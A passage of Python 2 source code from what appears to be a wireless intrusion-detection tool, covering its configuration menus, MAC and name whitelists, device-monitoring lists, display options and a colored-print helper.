    Option4 = tabspacefull + SelBColor + "4" + StdColor + "/" + SelBColor + "B" + StdColor + " - " + SelColor + "B" + StdColor + "eep if alert found\t\t\t\t" + fcolor.SGreen + "[ Current : " + str(__builtin__.ALERTSOUND) + " ]\n"
    Option5 = tabspacefull + SelBColor + "5" + StdColor + "/" + SelBColor + "S" + StdColor + " - " + SelColor + "S" + StdColor + "ensitivity of IDS\t\t\t\t" + fcolor.SGreen + "[ Current : " + str(__builtin__.SENSITIVITY_LVL) + " ]\n"
    Option6 = tabspacefull + SelBColor + "6" + StdColor + "/" + SelBColor + "A" + StdColor + " - Save PCap when " + SelColor + "A" + StdColor + "ttack detected\t\t" + fcolor.SGreen + "[ Current : " + str(__builtin__.SAVE_ATTACKPKT) + " ]\n"
    Option7 = tabspacefull + SelBColor + "7" + StdColor + "/" + SelBColor + "M" + StdColor + " - Save PCap when " + SelColor + "M" + StdColor + "onitored MAC/Name seen\t" + fcolor.SGreen + "[ Current : " + str(__builtin__.SAVE_MONPKT) + " ]\n"
    Option8 = tabspacefull + SelBColor + "8" + StdColor + "/" + SelBColor + "W" + StdColor + " - " + SelColor + "W" + StdColor + "hitelist Setting (Bypass alert for MAC/Name)\n"
    Option9 = tabspacefull + SelBColor + "9" + StdColor + "/" + SelBColor + "D" + StdColor + " - " + SelColor + "D" + StdColor + "ictionary Detail and Setting\t\t" + fcolor.SGreen + "[ Current : " + str(__builtin__.SELECTED_DICT) + " ]\n"
    OptionA=Option0 + Option1 + Option2 + Option3  + Option4 + Option5+ Option6  + Option7 + Option8+ Option9
    print OptionA
    usr_resp=AskQuestion("Choose an option","D/R/T/H/B/W/C","U","RETURN","1")
    if usr_resp=="RETURN":
        return;
    if usr_resp=="8" or usr_resp=="W":
        OptWhitelist("1","1")
    if usr_resp=="9" or usr_resp=="D":
        OptDictionarySetting("1","1")
    if usr_resp=="0" or usr_resp=="L":
        ChangeRegulatoryDomain()
    if usr_resp=="-":
        SaveConfig("1")
    if usr_resp=="5" or usr_resp=="S":
        SetIDS_Sensitivity("")
        return
    if usr_resp=="6" or usr_resp=="A":
        usr_resp=AskQuestion("Save PCap file when attack detected  " + fcolor.SGreen + "[Current : " + str(__builtin__.SAVE_ATTACKPKT) + "]" ,"Y/n","U","Y","1")
        if usr_resp=="Y":
            __builtin__.SAVE_ATTACKPKT="Yes"
        else:
            __builtin__.SAVE_ATTACKPKT="No"
        SaveConfig("")
        return
    if usr_resp=="7" or usr_resp=="M":
        usr_resp=AskQuestion("Save PCap file when monitored MAC/Name detected  " + fcolor.SGreen + "[Current : " + str(__builtin__.SAVE_MONPKT) + "]" ,"y/N","U","N","1")
        if usr_resp=="Y":
            __builtin__.SAVE_MONPKT="Yes"
        else:
            __builtin__.SAVE_MONPKT="No"
        SaveConfig("")
        return
    if usr_resp=="1" or usr_resp=="R":
        usr_resp=AskQuestion("Refresh detail after number of seconds " + fcolor.SGreen + "[Current : " + str(__builtin__.TIMEOUT) + "]" ,"Default 30","N","30","1")
        __builtin__.TIMEOUT=usr_resp
        SaveConfig("")
        return
    if usr_resp=="2" or usr_resp=="T":
        usr_resp=AskQuestion("Select duration before " + fcolor.BRed + "H" + fcolor.BYellow + "ide AP/Station / " + fcolor.BRed + "R" + fcolor.BYellow + "emove AP/Station" ,"H/R","U","RETURN","1")
        if usr_resp=="RETURN":
            return
        if usr_resp=="H":
            usr_resp=AskQuestion("Number of minutes before hiding inactive AP/Station " + fcolor.SGreen + "[Current : " + str(HIDE_AFTER_MIN) + "]" ,"Default 1","N","1","1")
            __builtin__.HIDE_AFTER_MIN=usr_resp
            return
        if usr_resp=="R":
            usr_resp=AskQuestion("Number of minutes before removing inactive AP/Station " + fcolor.SGreen + "[Current : " + str(TOTALLY_REMOVE_MIN) + "]" ,"Default 120","N","120","1")
            __builtin__.TOTALLY_REMOVE_MIN=usr_resp
            return
    if usr_resp=="3" or usr_resp=="H":
        usr_resp=AskQuestion("Select " + fcolor.BRed + "A" + fcolor.BYellow + "ccess Point / " + fcolor.BRed + "S" + fcolor.BYellow + "tation" ,"A/S","U","Y","1")
        if usr_resp=="A":
            usr_resp=AskQuestion("Hide Inactive Access Point " + fcolor.SGreen + "[Current : " + str(__builtin__.HIDE_INACTIVE_SSID) + "]" ,"Y/n","U","Y","1")
            if usr_resp=="N":
                __builtin__.HIDE_INACTIVE_SSID="No"
                return
            else:
                __builtin__.HIDE_INACTIVE_SSID="Yes"
                return
        if usr_resp=="S":
            usr_resp=AskQuestion("Hide Inactive Station " + fcolor.SGreen + "[Current : " + str(__builtin__.HIDE_INACTIVE_STN) + "]" ,"Y/n","U","Y","1")
            if usr_resp=="N":
                __builtin__.HIDE_INACTIVE_STN="No"
                return
            else:
                __builtin__.HIDE_INACTIVE_STN="Yes"
                return
    if usr_resp=="4" or usr_resp=="B":
        usr_resp=AskQuestion("Beep if Alert Found " + fcolor.SGreen + "- Current = " + str(__builtin__.ALERTSOUND) + " " + fcolor.BGreen,"Y/n","U","Y","1")
        if usr_resp=="Y":
            __builtin__.ALERTSOUND="Yes"
        elif usr_resp=="N":
            __builtin__.ALERTSOUND="No"
    OptConfiguration("1")
    return

def DisplayWhitelist():
    if len(__builtin__.WhiteMACList)==0 and len(__builtin__.WhiteNameList)==0:
        printc ("i","No items was specified in current setting..","")
    else:
        printc (".", fcolor.BPink + "Whitelist Items","")
        x=0
        while x < len(__builtin__.WhiteMACList):
            printc (" ",fcolor.SWhite + "MAC  : " + fcolor.BGreen + str(__builtin__.WhiteMACList[x]),"")
            x=x+1
        x=0
        while x < len(__builtin__.WhiteNameList):
            printc (" ",fcolor.SWhite + "Name : " + fcolor.BGreen + str(__builtin__.WhiteNameList[x]),"")
            x=x+1
        LineBreak()

def OptWhitelist(HeaderLine,DisplayHeader):
    if HeaderLine!="":
        LineBreak()
    GetWhitelist()
    Skip=0
    if DisplayHeader=="1":
        printc ("+", fcolor.BBlue + "Whitelist Setting Menu","")
    print tabspacefull + StdColor + "Whitelist setting allow user to bypass any alert from the specified MAC addresses / Names.";print ""
    DisplayWhitelist()
    Option1 = tabspacefull + SelBColor + "1" + StdColor + "/" + SelBColor + "M" + StdColor + " - " + SelColor + "M" + StdColor + "AC Address [BSSID/STATION]\n"
    Option2 = tabspacefull + SelBColor + "2" + StdColor + "/" + SelBColor + "N" + StdColor + " - " + SelColor + "N" + StdColor + "ame of Access Point/Probe Names\n"
    Option3 = tabspacefull + SelBColor + "9" + StdColor + "/" + SelBColor + "C" + StdColor + " - " + SelColor + "C" + StdColor + "lear all Monitoring Items\n"
    OptionA=Option1 + Option2 + Option3 
    print OptionA
    usr_resp=AskQuestion("Select Whitelist Type : ",STxt + "M / N / C","U","RETURN","1")
    if usr_resp=="RETURN":
        return
    if usr_resp=="C" or usr_resp=="9":
        open(WhitelistFile,"w").write("")
        __builtin__.WhiteMACList=[]
        __builtin__.WhiteNameList=[]
        printc ("i",fcolor.BRed + "All items cleared from the whitelist..","")
        OptWhitelist("1","1")
        return
    if usr_resp=="M" or usr_resp=="1":
        usr_resp=AskQuestion("Select an option : ",STxt + "A" + NTxt + "dd MAC / " + STxt + "D" + NTxt + "elete / " + STxt + "C" + NTxt + "lear","U","RETURN","1")
        if usr_resp=="RETURN":
            OptWhitelist("1","1")
            return
        if usr_resp=="A":
            usr_resp=AskQuestion("Enter the MAC Address to monitor (xx:xx:xx:xx:xx:xx) " ,"","U","","1")
            if len(usr_resp)==17:
                x=0
                while x < len(__builtin__.WhiteMACList):
                    if usr_resp==__builtin__.WhiteMACList[x]:
                        Skip=1
                    x=x+1
                if Skip!=1:
                    __builtin__.WhiteMACList.append (str(usr_resp))
                    printc ("i",fcolor.SGreen + "The MAC Address " + fcolor.BYellow + str(usr_resp) + fcolor.SGreen + " added to whitelisting..","")
                    SaveWhitelist()
                else:
                    printc ("!",fcolor.SRed + "The MAC Address " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " already exist !!","")
            else:
                if usr_resp!="":
                    printc ("!",fcolor.SRed + "The MAC Address " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " is invalid !!","")
        if usr_resp=="D":
            usr_resp=AskQuestion("Enter the MAC Address to remove (xx:xx:xx:xx:xx:xx) " ,"","U","","")
            if len(usr_resp)==17:
                if usr_resp in __builtin__.WhiteMACList:
                    __builtin__.WhiteMACList.remove (str(usr_resp))
                    printc ("i",fcolor.SGreen + "The MAC Address " + fcolor.BYellow + str(usr_resp) + fcolor.SGreen + " deleted from whitelist..","")
                    SaveWhitelist()
                else:
                    printc ("!",fcolor.SRed + "The MAC Address " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " does not exist !!","")
            else:
                if usr_resp!="":
                    printc ("!",fcolor.SRed +  "The MAC Address " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " is invalid !!","")
        if usr_resp=="C":
            open(WhitelistFile,"w").write("")
            __builtin__.WhiteMACList=[]
            printc ("i",fcolor.SGreen + "All MAC Addresses cleared from the whitelist..","")
        OptWhitelist("1","1")
        return
    if usr_resp=="N" or usr_resp=="2":
        usr_resp=AskQuestion("Select an option : ",STxt + "A" + NTxt + "dd ESSID/Probe Name / " + STxt + "D" + NTxt + "elete / " + STxt + "C" + NTxt + "lear","U","RETURN","1")
        if usr_resp=="RETURN":
            OptWhitelist("1","1")
            return
        if usr_resp=="A":
            usr_resp=AskQuestion("Enter the Name to Whitelist" ,fcolor.SGreen + "Case sensitive","","","1")
            if len(usr_resp)>0:
                x=0
                while x < len(__builtin__.WhiteNameList):
                    if usr_resp==__builtin__.WhiteNameList[x]:
                        Skip=1
                    x=x+1
                if Skip!=1:
                    __builtin__.WhiteNameList.append (str(usr_resp))
                    printc ("i",fcolor.SGreen + "The Name " + fcolor.BYellow + str(usr_resp) + fcolor.SGreen + " added to whitelisting..","")
                    SaveWhitelist()
                else:
                    printc ("!",fcolor.SRed + "The Name " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " already exist !!","")
        if usr_resp=="D":
            usr_resp=AskQuestion("Enter the Name to Remove" ,fcolor.SGreen + "Case sensitive","","","")
            if len(usr_resp)>0:
                if usr_resp in __builtin__.WhiteNameList:
                    __builtin__.WhiteNameList.remove (str(usr_resp))
                    print "__builtin__.WhiteNameList : " + str(__builtin__.WhiteNameList)
                    printc ("i",fcolor.SGreen + "The Name " + fcolor.BYellow + str(usr_resp) + fcolor.SGreen + " deleted from whitelist..","")
                    SaveWhitelist()
                else:
                    printc ("!",fcolor.SRed + "The Name " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " does not exist !!","")
            else:
                if usr_resp!="":
                    printc ("!",fcolor.SRed +  "The Name " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " is invalid !!","")
        if usr_resp=="C":
            open(WhitelistFile,"w").write("")
            __builtin__.WhiteNameList=[]
            printc ("i",fcolor.SGreen + "All Names are cleared from the Whitelist..","")
        OptWhitelist("1","1")
        return
    return

def OptMonitorMAC(HeaderLine):
    if HeaderLine!="":
        LineBreak()
    MonitoringMACStr=""
    __builtin__.MonitoringMACList=[]
    GetMonitoringMAC()
    Skip=""
    printc ("+",fcolor.BBlue + "MAC / Names Monitoring Setting","")
    print  tabspacefull + StdColor + "Monitoring Setting allow user to monitor MAC address and Name of Access Point/Station/Probes."
    print  tabspacefull + StdColor + "Once the specified MAC addresses / Names were detected, it will display the detail."
    print  tabspacefull + StdColor + "User can also set alert beep if speficied items is spotted. [Application Configuration] --> [Beep if alert found]"
    print ""
    DisplayMonitoringMAC()
    Option1 = tabspacefull + SelBColor + "1" + StdColor + "/" + SelBColor + "M" + StdColor + " - " + SelColor + "M" + StdColor + "AC Address [BSSID/STATION]\n"
    Option2 = tabspacefull + SelBColor + "2" + StdColor + "/" + SelBColor + "N" + StdColor + " - " + SelColor + "N" + StdColor + "ame of Access Point/Probe Names\n"
    Option3 = tabspacefull + SelBColor + "3" + StdColor + "/" + SelBColor + "L" + StdColor + " - " + SelColor + "L" + StdColor + "ive Monitoring of Access Point\n"
    Option4 = tabspacefull + SelBColor + "9" + StdColor + "/" + SelBColor + "C" + StdColor + " - " + SelColor + "C" + StdColor + "lear all Monitoring Items\n"
    OptionA=Option1 + Option2 + Option3 + Option4
    print OptionA
    usr_resp=AskQuestion("Select Monitoring Type : ",STxt + "M / N / L / C ","U","RETURN","1")
    if usr_resp=="RETURN":
        return __builtin__.RTNCACHE
    __builtin__.RTNCACHE=""
    if usr_resp=="L" or usr_resp=="3":
        printc (" ",fcolor.BRed + "Please note that once the MAC address is enter, active monitoring of all network will be shutdown.","")
        usr_resp=AskQuestion("Enter the Access Point MAC Address to monitor (xx:xx:xx:xx:xx:xx) " ,"","U","","1")
        if usr_resp!="":
            if len(usr_resp)!=17 or IsHex(usr_resp)==False:
                printc ("!!!","Invalid MAC Address Entered !","")
                print ""
            elif FindMACIndex(usr_resp,__builtin__.ListInfo_BSSID)==-1:
                printc ("!!!","The specified MAC address was not active !","")
                print ""
            elif FindMACIndex(usr_resp,__builtin__.ListInfo_BSSID)==-1:
                printc ("!!!","Access Point MAC Address Not Found !","")
                printc (" ",fcolor.SGreen + "Please allow Harvester to gather surround network information first before proceeding..","")
                print ""
            else:
                foundloc=FindMACIndex(usr_resp,__builtin__.ListInfo_BSSID)
                if foundloc!=-1:
                    __builtin__.ATTACK_AP_BSSID=usr_resp
                    __builtin__.ATTACK_AP_CH=str(__builtin__.ListInfo_Channel[foundloc])
                    printc ("i",fcolor.BGreen + "Shutting down all interfaces .....","")
                    ShutdownMonitor()
                    KillAllMonitor()
                    CreateMonitor("1","")
                    LineBreak()
                    MonitorAccessPoint(usr_resp,"")
                    __builtin__.MONLogfile=""
                    OptMonitorMAC("1")
                    return 
        else:
            OptMonitorMAC("1")
            return
    if usr_resp=="C" or usr_resp=="9":
        open(MonitorMACfile,"w").write("")
        __builtin__.MonitoringMACList=[]
        __builtin__.MonitoringNameList=[]
        printc ("i",fcolor.BRed + "All items cleared from the monitoring list..","")
        OptMonitorMAC("1")
        return
    if usr_resp=="M" or usr_resp=="1":
        usr_resp=AskQuestion("Select an option : ",STxt + "A" + NTxt + "dd MAC / " + STxt + "D" + NTxt + "elete / " + STxt + "C" + NTxt + "lear","U","RETURN","1")
        if usr_resp=="RETURN":
            OptMonitorMAC("1")
            return
        if usr_resp=="A":
            usr_resp=AskQuestion("Enter the MAC Address to monitor (xx:xx:xx:xx:xx:xx) " ,"","U","","1")
            if len(usr_resp)==17:
                x=0
                while x < len(__builtin__.MonitoringMACList):
                    if usr_resp==__builtin__.MonitoringMACList[x]:
                        Skip=1
                    x=x+1
                if Skip!=1:
                    __builtin__.MonitoringMACList.append (str(usr_resp))
                    printc ("i",fcolor.SGreen + "The MAC Address " + fcolor.BYellow + str(usr_resp) + fcolor.SGreen + " added to monitoring list..","")
                    SaveMonitoringMAC()
                else:
                    printc ("!",fcolor.SRed + "The MAC Address " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " already exist !!","")
            else:
                if usr_resp!="":
                    printc ("!",fcolor.SRed + "The MAC Address " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " is invalid !!","")
        if usr_resp=="D":
            usr_resp=AskQuestion("Enter the MAC Address to remove (xx:xx:xx:xx:xx:xx) " ,"","U","","")
            if len(usr_resp)==17:
                if usr_resp in __builtin__.MonitoringMACList:
                    __builtin__.MonitoringMACList.remove (str(usr_resp))
                    printc ("i",fcolor.SGreen + "The MAC Address " + fcolor.BYellow + str(usr_resp) + fcolor.SGreen + " deleted from monitoring list..","")
                    SaveMonitoringMAC()
                else:
                    printc ("!",fcolor.SRed + "The MAC Address " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " does not exist !!","")
            else:
                if usr_resp!="":
                    printc ("!",fcolor.SRed +  "The MAC Address " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " is invalid !!","")
        if usr_resp=="C":
            open(MonitorMACfile,"w").write("")
            __builtin__.MonitoringMACList=[]
            printc ("i",fcolor.SGreen + "All MAC Addresses cleared from the monitoring list..","")
        OptMonitorMAC("1")
        return
    if usr_resp=="N" or usr_resp=="2":
        usr_resp=AskQuestion("Select an option : ",STxt + "A" + NTxt + "dd ESSID/Probe Name / " + STxt + "D" + NTxt + "elete / " + STxt + "C" + NTxt + "lear","U","RETURN","1")
        if usr_resp=="RETURN":
            OptMonitorMAC("1")
            return
        if usr_resp=="A":
            usr_resp=AskQuestion("Enter the Name to Monitor" ,"","","","1")
            if len(usr_resp)>0:
                x=0
                while x < len(__builtin__.MonitoringNameList):
                    if usr_resp.upper()==__builtin__.MonitoringNameList[x].upper():
                        Skip=1
                    x=x+1
                if Skip!=1:
                    __builtin__.MonitoringNameList.append (str(usr_resp))
                    printc ("i",fcolor.SGreen + "The Name " + fcolor.BYellow + str(usr_resp) + fcolor.SGreen + " added to monitoring list..","")
                    SaveMonitoringMAC()
                else:
                    printc ("!",fcolor.SRed + "The Name " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " already exist !!","")
        if usr_resp=="D":
            usr_resp=AskQuestion("Enter the Name to Remove" ,"","","","")
            if len(usr_resp)>0:
                if usr_resp in __builtin__.MonitoringNameList:
                    __builtin__.MonitoringNameList.remove (str(usr_resp))
                    print "__builtin__.MonitoringNameList : " + str(__builtin__.MonitoringNameList)
                    printc ("i",fcolor.SGreen + "The Name " + fcolor.BYellow + str(usr_resp) + fcolor.SGreen + " deleted from monitoring list..","")
                    SaveMonitoringMAC()
                else:
                    printc ("!",fcolor.SRed + "The Name " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " does not exist !!","")
            else:
                if usr_resp!="":
                    printc ("!",fcolor.SRed +  "The Name " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " is invalid !!","")
        if usr_resp=="C":
            open(MonitorMACfile,"w").write("")
            __builtin__.MonitoringNameList=[]
            printc ("i",fcolor.SGreen + "All Names are cleared from the monitoring list..","")
        OptMonitorMAC("1")
        return
    return

def OptOutputDisplay(CMD):
    if CMD=="":
        printc ("+", fcolor.BBlue + "Change Listing Display ","")
        print tabspacefull + StdColor + "This option allow user to switch display on the various viewing type of access point and station information.";print ""
        Option1 = tabspacefull + SelBColor + "0" + StdColor + "/" + SelBColor + "H" + StdColor + " - " + SelColor + "H" + StdColor + "ide both Access Points & Stations Listing Display\n"
        Option2 = tabspacefull + SelBColor + "1" + StdColor + "/" + SelBColor + "A" + StdColor + " - Display " + SelColor + "A" + StdColor + "ccess Points Listing Only\n"
        Option3 = tabspacefull + SelBColor + "2" + StdColor + "/" + SelBColor + "S" + StdColor + " - Display " + SelColor + "S" + StdColor + "tations Listing Only\n"
        Option4 = tabspacefull + SelBColor + "3" + StdColor + "/" + SelBColor + "B" + StdColor + " - Dispay " + SelColor + "B" + StdColor + "oth Access Points & Stations Listing (Separated View)\n"
        Option5 = tabspacefull + SelBColor + "4" + StdColor + "/" + SelBColor + "P" + StdColor + " - Advanced View with " + SelColor + "P" + StdColor + "robes Request (Merging associated Stations with Access Points) - " + fcolor.BYellow + "[Recommended]\n"
        Option6 = tabspacefull + SelBColor + "5" + StdColor + "/" + SelBColor + "O" + StdColor + " - Advanced View with" + SelColor + "o" + StdColor + "ut probing request (Merging associated Stations with Access Points)\n"
        Option7 = tabspacefull + SelBColor + "6" + StdColor + "/" + SelBColor + "C" + StdColor + " - Display one time bar " + SelColor + "c" + StdColor + "hart of Access Points information\n"
        Option8 = tabspacefull + SelBColor + "+" + StdColor + "/" + SelBColor + "D" + StdColor + " - " + SelColor + "D" + StdColor + "isplay client which associated with more than one access point.\n"
        Option9 = "\n" + tabspacefull + SelBColor + "7" + StdColor + "/" + SelBColor + "N" + StdColor + " - Show Association/Co" + SelColor + "n" + StdColor + "nection Alert.\t\t" + fcolor.SGreen + "[ Current : " + SHOW_CONNECTION_ALERT + " ]" + "\n"
        Option10 = tabspacefull + SelBColor + "8" + StdColor + "/" + SelBColor + "U" + StdColor + " - Show S" + SelColor + "u" + StdColor + "spicious Activity Listing Alert.\t"  + fcolor.SGreen + "[ Current : " + SHOW_SUSPICIOUS_LISTING + " ]" + "\n"
        Option11 = tabspacefull + SelBColor + "9" + StdColor + "/" + SelBColor + "I" + StdColor + " - Show " + SelColor + "I" + StdColor + "ntrusion Detection/Attacks Alert.\t" + fcolor.SGreen + "[ Current : " + SHOW_IDS + " ]" + "\n"
        OptionA=Option1 + Option2 + Option3 + Option4  + Option5 + Option6 + Option7 + Option8 + Option9+ Option10 + Option11 
        print OptionA
        printc (" " , fcolor.BWhite + "Current Setting = " + SelBColor + str(__builtin__.NETWORK_VIEW), "")
        usr_resp=AskQuestion("Choose an option / " + STxt + "R" + NTxt + "eturn","","U","RETURN","1")
    else:
        usr_resp=CMD
    if usr_resp=="10" or usr_resp=="W":
        SaveConfig("1")
    if usr_resp=="0" or usr_resp=="1" or usr_resp=="2" or usr_resp=="3" or usr_resp=="4"  or usr_resp=="5":
      __builtin__.NETWORK_VIEW=usr_resp
    if usr_resp=="H" or usr_resp=="A" or usr_resp=="S" or usr_resp=="B" or usr_resp=="P"  or usr_resp=="O" or usr_resp=="6" or usr_resp=="C" or usr_resp=="7" or usr_resp=="N" or usr_resp=="8" or usr_resp=="U" or usr_resp=="9" or usr_resp=="I" or usr_resp=="D" or usr_resp=="+":
        if usr_resp=="H":
            __builtin__.NETWORK_VIEW="0"
        if usr_resp=="A":
            __builtin__.NETWORK_VIEW="1"
        if usr_resp=="S":
            __builtin__.NETWORK_VIEW="2"
        if usr_resp=="B":
            __builtin__.NETWORK_VIEW="3"
        if usr_resp=="P":
            __builtin__.NETWORK_VIEW="4"
        if usr_resp=="0":
            __builtin__.NETWORK_VIEW="5"
        if usr_resp=="C" or usr_resp=="6":
            DisplayNetworkChart()
            printc ("x",fcolor.BBlue + "Press a key to continue...","")
        if usr_resp=="D" or usr_resp=="+":
            DisplayMoreClients()
            printc ("x",fcolor.BBlue + "Press a key to continue...","")
        if usr_resp=="7" or usr_resp=="N":
            if __builtin__.SHOW_CONNECTION_ALERT=="Yes":
                __builtin__.SHOW_CONNECTION_ALERT="No"
            else:
                __builtin__.SHOW_CONNECTION_ALERT="Yes"
        if usr_resp=="8" or usr_resp=="U":
            if __builtin__.SHOW_SUSPICIOUS_LISTING=="Yes":
                __builtin__.SHOW_SUSPICIOUS_LISTING="No"
            else:
                __builtin__.SHOW_SUSPICIOUS_LISTING="Yes"
        if usr_resp=="9" or usr_resp=="I":
            if __builtin__.SHOW_IDS=="Yes":
                __builtin__.SHOW_IDS="No"
            else:
                __builtin__.SHOW_IDS="Yes"
        if CMD!="":
            printc (" ",fcolor.BGreen + "Display Option Set : " + fcolor.BYellow + str(CMD),"")
        LineBreak()
        OptOutputDisplay(CMD)
        return
        
    SaveConfig("")
    LineBreak()
    return;

def GetESSIDFromFile(sBSSID):
    tmpList=[]
    retval=""
    with open(DBFile2,"r") as f:
        for line in f:
            line=line.replace("\n","").replace("\00","")
            if line!="" and str(line).find(sBSSID)!=-1:
                tmpList=str(line).split(";")
                retval=tmpList[18]
                if str(retval)!="":
                    return retval
    return retval
            

def GetProbeFromFile(sMAC):
    tmpList=[]
    retval=""
    with open(DBFile4,"r") as f:
        for line in f:
            line=line.replace("\n","").replace("\00","")
            if line!="" and str(line).find(sMAC)!=-1:
                tmpList=str(line).split(";")
                retval=retval + tmpList[2] + " / "
    if len(retval)!=0 and str(retval[-3:])==" / ":
        retval=str(retval[:-3])
    retval=str(retval).replace("/",fcolor.SGreen + "/" + fcolor.SWhite)
    return retval

def DisplayMoreClients():
    LineBreak()
    printc ("+", fcolor.BBlue + "Duplication Association Clients","")
    print tabspacefull + StdColor + "This option will list out all clients detail which was detected to have associated with more than one access point. Detected MAC is sorted in ascending order.";print ""
    tmpList=[]
    MACList1=[]
    MACList2=[]
    MACList3=[]
    printl (tabspacefull + fcolor.BGreen + "Analysing.... Please wait....","0","")
    with open(DBFile3,"r") as f:
        for line in f:
            line=line.replace("\n","").replace("\00","")
            if line!="":
                tmpList=str(line).split(";")
                if len(tmpList[0])==17 and  len(tmpList[1])==17:
                    foundloc=FindMACIndex(tmpList[0],MACList1)
                    if foundloc==-1:
                        MACList1.append (tmpList[0])
                        MACList2.append (tmpList[1])
                    else:
                        if str(MACList2[foundloc]).find(tmpList[1])==-1:
                            MACList2[foundloc]=str(MACList2[foundloc]) + " / " + str(tmpList[1])
                            foundloc2=FindMACIndex(tmpList[0],MACList3)
                            if foundloc2==-1:
                                MACList3.append (tmpList[0])
        printl ("","0","")
        if len(MACList3)>0:
            MACList3.sort()
            x=0
            while x<len(MACList3):
                OUI=Check_OUI(MACList3[x],"1")
                printc (x+1,"Client MAC    : " + fcolor.SWhite + str(MACList3[x]) + "   " + fcolor.BCyan + str(OUI) ,"")
                PROBE=GetProbeFromFile(MACList3[x])
                if str(PROBE)!="":
                    printc (" ","                Probe :- " + fcolor.SWhite + str(PROBE),"")
                foundloc=FindMACIndex(MACList3[x],MACList1)
                APList=str(MACList2[foundloc])
                DAPList=str(MACList2[foundloc]).replace("/",fcolor.SGreen + "/" + fcolor.SPink)
                tmpList=str(APList).split("/")
                printc (" ","Associated AP : " + fcolor.SPink + str(DAPList) + fcolor.SWhite + "  (Total : " + str(len(tmpList)) + ")","")
                y=0
                while y<len(tmpList):
                    tBSSID=str(tmpList[y]).lstrip().rstrip()
                    OUI=Check_OUI(tBSSID,"1")
                    tESSID=GetESSIDFromFile(tBSSID)
                    tESSID=str(tESSID).ljust(35) + " "
                    if str(tESSID).lstrip().rstrip()=="":
                        tESSID="<<NO ESSID>>"
                        tESSID=str(tESSID).ljust(35) + " "
                        tESSID=fcolor.SBlack + str(tESSID)
                    printc (" ","BSSID         : " + fcolor.SYellow + str(tBSSID) + "   " + fcolor.SBlue + str(tESSID) + fcolor.SCyan + str(OUI) ,"")
                    y += 1
                print ""
                x += 1
            LineBreak()
            Ret=""
            while Ret=="":
                printc ("+", fcolor.BBlue + "Selection Options","")
                printc (" ",SelBColor + "L" + StdColor + " - " + SelColor + "L" + StdColor + "ookup MAC / Name of Access Point","")
                printc (" ",SelBColor + "R" + StdColor + " - " + SelColor + "R" + StdColor + "e-display result again","")
                usr_resp=AskQuestion ("Enter you choice","Default - Return","U","RETURN","1")
                if usr_resp=="L":
                    LineBreak()
                    OptInfoDisplay("","1");LineBreak();
                elif usr_resp=="R":
                    DisplayMoreClients();LineBreak();
                elif usr_resp=="RETURN":
                    LineBreak()
                    Ret="-"
                    return;
                else:
                    LineBreak()
            return
        else:
            printc ("i",fcolor.BRed + "No clients found to be associated to more than one access point..","")
    print ""
 

def printc(PrintType, PrintText,PrintText2):
    """
    Function	   : Displaying text with pre-defined icon and color
    Usage of printc:
        PrintType      - Type of Icon to display
        PrintText      - First sentence to display
        PrintText2     - Second sentence, "?" as reply text, "@"/"@^" as time in seconds
    Examples       : Lookup DemoOnPrintC() for examples
    """
    ReturnOut=""
    bcolor=fcolor.SWhite
    pcolor=fcolor.BGreen
    tcolor=fcolor.SGreen
    if PrintType=="i":
        pcolor=fcolor.BBlue
        tcolor=fcolor.BWhite
    if PrintType=="H":
        pcolor=fcolor.BBlue
        tcolor=fcolor.BWhite
        hcolor=fcolor.BUBlue
    if PrintType=="!":
        pcolor=fcolor.BRed
        tcolor=fcolor.BYellow
    if PrintType=="!!":
        PrintType="!"
        pcolor=fcolor.BRed
        tcolor=fcolor.SRed
    if PrintType=="!!!":
        PrintType="!"
        pcolor=fcolor.BRed
        tcolor=fcolor.BRed
    if PrintType==".":
        pcolor=fcolor.BGreen
        tcolor=fcolor.SGreen
    if PrintType=="-":
        pcolor=fcolor.SWhite
        tcolor=fcolor.SWhite
    if PrintType=="--":
        PrintType="-"
        pcolor=fcolor.BWhite
        tcolor=fcolor.BWhite
    if PrintType=="..":
        PrintType="."
        pcolor=fcolor.BGreen
        tcolor=fcolor.BGreen
    if PrintType==">" or PrintType=="+":
        pcolor=fcolor.BCyan
        tcolor=fcolor.BCyan
    if PrintType==" ":
        pcolor=fcolor.BYellow
        tcolor=fcolor.Green
    if PrintType=="  ":
        pcolor=fcolor.BYellow
        tcolor=fcolor.BGreen
    if PrintType=="?":
        pcolor=fcolor.BYellow
        tcolor=fcolor.BGreen
    if PrintType=="x":
        pcolor=fcolor.BRed
        tcolor=fcolor.BBlue
    if PrintType=="*":
        pcolor=fcolor.BYellow
        tcolor=fcolor.BPink
    if PrintType=="@" or PrintType=="@^":
        pcolor=fcolor.BRed
        tcolor=fcolor.White
    firstsixa=""
    if PrintText!="":
        tscolor=fcolor.Blue
        ts = time.time()
        DateTimeStamp=datetime.datetime.fromtimestamp(ts).strftime('%d/%m/%Y %H:%M:%S')
        TimeStamp=datetime.datetime.fromtimestamp(ts).strftime('%H:%M:%S')
        DateStamp=datetime.datetime.fromtimestamp(ts).strftime('%d/%m/%Y')
        PrintText=PrintText.replace("%dt -",tscolor + DateTimeStamp + " -" + tcolor)
        PrintText=PrintText.replace("%dt",tscolor + DateTimeStamp + tcolor)
        PrintText=PrintText.replace("%t -",tscolor + TimeStamp + " -" + tcolor)
        PrintText=PrintText.replace("%t",tscolor + TimeStamp + tcolor)
        PrintText=PrintText.replace("%d -",tscolor + DateStamp + " -" + tcolor)
        PrintText=PrintText.replace("%d",tscolor + DateStamp + tcolor)
        PrintText=PrintText.replace("%an",tscolor + ScriptName + tcolor)
        if "%cs" in PrintText:
            PrintText=PrintText.replace("%cs",tscolor + PrintText2 + tcolor)
            PrintText2=""
        lPrintText=len(PrintText) 
        if lPrintText>6:
            firstsix=PrintText[:6].lower()
            firstsixa=firstsix
            if firstsix=="<$rs$>":
                ReturnOut="1"
                lPrintText=lPrintText-6
                PrintText=PrintText[-lPrintText:]
